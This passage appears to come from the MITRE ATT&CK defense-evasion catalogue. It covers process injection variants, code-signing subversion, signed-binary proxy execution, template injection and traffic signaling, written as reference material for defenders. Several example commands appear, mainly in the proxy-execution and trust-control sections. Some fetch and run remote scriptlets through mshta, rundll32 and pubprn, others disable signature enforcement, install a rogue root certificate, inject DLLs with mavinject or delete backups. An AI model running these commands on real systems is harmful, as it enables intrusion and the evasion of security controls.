Ptrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process.

.009 - Proc Memory

Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process.

Proc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes' stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes' memory map within /proc/[pid]/maps can be overwritten using dd.

Other techniques such as Dynamic Linker Hijacking may be used to populate a target process with more available gadgets. Similar to Process Hollowing, proc memory injection may target child processes (such as a backgrounded copy of sleep).

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process.

.011 - Extra Window Memory Injection

Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.

Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value.

Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process's memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process's EWM.

Execution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process.

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process.

.012 - Process Hollowing

Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.

Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.

This is very similar to Thread Local Storage but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process.

.013 - Process Doppelganging

Adversaries may inject malicious code into process via process doppelganging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelganging is a method of executing arbitrary code in the address space of a separate live process.

Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction.

Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10.

Adversaries may abuse TxF to a perform a file-less variation of Process Injection. Similar to Process Hollowing, process doppelganging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelganging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext.

Process Doppelgänging is implemented in 4 steps:

1. Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.
2. Load – Create a shared section of memory and load the malicious executable.
3. Rollback – Undo changes to original executable, effectively removing malicious code from the file system.
4. Animate – Create a process from the tainted section of memory and initiate execution.

This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelganging may evade detection from security products since the execution is masked under a legitimate process.

.014 - VDSO Hijacking

Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process.

VDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via Ptrace System Calls. However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process.

.015 – ListPlanting

Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.

List-view controls are user interface windows used to display collections of items. Information about an application's list-view settings is stored within the process' memory in a SysListView32 control.

ListPlanting (a form of message-passing "shatter attack") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items. Adversaries must first copy code into the target process' memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other Process Injection methods.

Some variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.

Finally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback.

T1620 - Reflective Code Loading

Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk. Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).

Reflective code injection is very similar to Process Injection except that the "injection" loads code into the processes' own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.

T1207 - Rogue Domain Controller

Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.

Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash.

This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform SID-History Injection and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence.

T1014 – Rootkit

Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.

Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or System Firmware. Rootkits have been seen for Windows, Linux, and Mac OS X systems.

T1553 - Subvert Trust Controls

Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.

Adversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct File and Directory Permissions Modification or Modify Registry in support of subverting these controls. Adversaries may also create or steal code signing certificates to acquire trust on target systems.

.001 - Gatekeeper Bypass

Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apple's security model to ensure only trusted applications are executed on a host. Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more. Gatekeeper also treats applications running for the first time differently than reopened applications.

Based on an opt-in system, when files are downloaded an extended attribute (xattr) called `com.apple.quarantine` (also known as a quarantine flag) can be set on the file by the application performing the download. Launch Services opens the application in a suspended state. For first run applications with the quarantine flag set, Gatekeeper executes the following functions:

1. Checks extended attribute – Gatekeeper checks for the quarantine flag, then provides an alert prompt to the user to allow or deny execution.
2. Checks System Policies - Gatekeeper checks the system security policy, allowing execution of apps downloaded from either just the App Store or the App Store and identified developers.
3. Code Signing – Gatekeeper checks for a valid code signature from an Apple Developer ID.
4. Notarization - Using the `api.apple-cloudkit.com` API, Gatekeeper reaches out to Apple servers to verify or pull down the notarization ticket and ensure the ticket is not revoked. Users can override notarization, which will result in a prompt of executing an "unauthorized app" and the security policy will be modified.

Adversaries can subvert one or multiple security controls within Gatekeeper checks through logic errors (e.g. Exploitation for Defense Evasion), unchecked file types, and external libraries. For example, prior to macOS 13 Ventura, code signing and notarization checks were only conducted on first launch, allowing adversaries to write malicious executables to previously opened applications in order to bypass Gatekeeper security checks.

Applications and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command may not set the quarantine flag. Additionally, it is possible to avoid setting the quarantine flag using Drive-by Compromise.

.002 - Code Signing

Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. The certificates used during an operation may be created, acquired, or stolen by the adversary. Unlike Invalid Code Signature, this activity will result in a valid signature.

Code signing to verify software on first run can be used on modern Windows and macOS systems. It is not used on Linux due to the decentralized nature of the platform.

Code signing certificates may be used to bypass security policies that require signed code to execute on a system.

.003 - SIP and Trust Provider Hijacking

Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the `WinVerifyTrust` application programming interface (API) function, which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature.

Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all) and are identified by globally unique identifiers (GUIDs).

Similar to Code Signing, adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by:

- Modifying the `Dll` and `FuncName` Registry values in `HKLM\SOFTWARE[\WOW6432Node]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg{SIP_GUID}` that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).
- Modifying the `Dll` and `FuncName` Registry values in `HKLM\SOFTWARE[WOW6432Node]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData{SIP_GUID}` that point to the DLL providing a SIP’s `CryptSIPDllVerifyIndirectData` function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (with or without hijacking the previously mentioned `CryptSIPDllGetSignedDataMsg` function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.

- Modifying the DLL and Function Registry values in HKLM\SOFTWARE[WOW6432Node]Microsoft\Cryptography\Providers\Trust\FinalPolicy{trust provider GUID} that point to the DLL providing a trust provider's FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Like hijacking SIP's CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously crafted DLL (though the implementation of a trust provider is complex).
- **Note:** The above hijacks are also possible without modifying the Registry via DLL Search Order Hijacking.

Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation.

.004 - Install Root Certificate

Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.[1] Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.

Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.

Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide Adversary-in-the-Middle capability for intercepting information transmitted over secure TLS/SSL communications.

Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.

In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain.

.005 - Mark-of-the-Web Bypass

Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.[1] Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file in not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.

Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.

.006 - Code Signing Policy Modification

Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system.

Some of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS. Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.

Adversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, Modify Registry, rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory. Examples of commands that can modify the code signing policy of a system include `bcdedit.exe -set TESTSIGNING ON` on Windows and `csrutil disable` on macOS. Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.

To gain access to kernel memory to modify variables related to signature checks, such as modifying `g_CiOptions` to disable Driver Signature Enforcement, adversaries may conduct Exploitation for Privilege Escalation using a signed, but vulnerable driver.

T1218 - System Binary Proxy Execution

Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system. Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.

Similarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.

.001 - Compiled HTML File

Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. CHM content is displayed using underlying components of the Internet Explorer browser loaded by the HTML Help executable program (hh.exe).

A custom CHM file containing embedded payloads could be delivered to a victim then triggered by User Execution. CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe.

.002 - Control Panel

Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.

Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a `CPlApplet` function.[1][2] For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.

Malicious Control Panel items can be delivered via Phishing campaigns or executed as part of multi-stage malware. Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.

Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to `HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls`. Even when these registered DLLs do not comply with the CPL file specification and do not export `CPlApplet` functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting `CPlApplet` are not directly executable.

.003 – CMSTP

Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. [1] CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.

Adversaries may supply CMSTP.exe with INF files infected with malicious commands. Like Regsvr32 / "Squiblydoo", CMSTP.exe may be abused to load and execute DLLs and/or COM scriptlets (SCT) from remote servers. This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.

CMSTP.exe can also be abused to Bypass User Account Control and execute arbitrary commands from a malicious INF through an auto-elevated COM interface.

.004 – InstallUtil

Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: `C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe` and `C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe`.

InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute `[System.ComponentModel.RunInstaller(true)]`.

.005 – Mshta

Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code.

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.

Files may be executed by mshta.exe through an inline script:

```
mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))
```

They may also be executed directly from URLs:

```
mshta http[:]//webserver/payload[.]hta
```

Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.

.007 – Msiexec

Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi). The Msiexec.exe binary may also be digitally signed by Microsoft.

Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs. Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the `AlwaysInstallElevated` policy is enabled.

.008 – Odbcconf

Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names. The Odbcconf.exe binary may be digitally signed by Microsoft.

Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Like Regsvr32, odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: `odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"}`).

.009 - Regsvcs/Regasm

Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are binaries that may be digitally signed by Microsoft.

Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: `[ComRegisterFunction]` or `[ComUnregisterFunction]` respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute.

.010 - Regsvr32

Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft.

Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. This variation of the technique is often referred to as a "Squiblydoo" and has been used in campaigns targeting governments.

Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via Component Object Model Hijacking.

.011 - Rundll32

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}`).

Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions `Control_RunDLL` and `Control_RunDLLAsUser`. Double-clicking a .cpl file also causes rundll32.exe to execute.

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: `rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"` This behavior has been seen used by malware such as Poweliks.

Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command `rundll32.exe ExampleDLL.dll, ExampleFunction`, rundll32.exe would first attempt to execute `ExampleFunctionW`, or failing that `ExampleFunctionA`, before loading `ExampleFunction`). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending `W` and/or `A` to harmless ones. DLL functions can also be exported and executed by an ordinal number (ex: `rundll32.exe file.dll,#1`).

Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.

.012 – Verclsid

Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.

Adversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running `verclsid.exe /S /C {CLSID}`, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to Regsvr32). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.

.013 – Mavinject

Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).

Adversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. Dynamic-link Library Injection), allowing for arbitrary code execution (ex. `C:\Windows\system32\mavinject.exe PID /INJECTRUNNING PATH_DLL`). Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process.

In addition to Dynamic-link Library Injection, Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. `mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER`). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.

.014 – MMC

Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt. MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.

For example, `mmc C:\Users\foo\admintools.msc /a` will open a custom, saved console msc file in author mode. Another common example is `mmc gpedit.msc`, which will open the Group Policy Editor application window.

Adversaries may use MMC commands to perform malicious tasks. For example`, mmc wbadmin.msc delete catalog -quiet` deletes the backup catalog on the system (i.e. Inhibit System Recovery) without prompts to the user (Note: `wbadmin.msc` may only be present by default on Windows Server operating systems).

Adversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a Component Object Model class object. Then, adversaries may create custom consoles with the "Link to Web Address" snap-in that is linked to the malicious CLSID subkey. Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\path\to\test.msc.

T1216 - System Script Proxy Execution
Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.

.001 – PubPrn
Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.

Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites. To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.

In later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).

T1221 - Template Injection
Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft's Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.

Properties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.

Adversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. These documents can be delivered via other techniques such as Phishing and/or Taint Shared Content and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.

Adversaries may also modify the *\template control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.

This technique may also enable Forced Authentication by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.

T1205 - Traffic Signaling

Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. Port Knocking), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.

Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r, is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

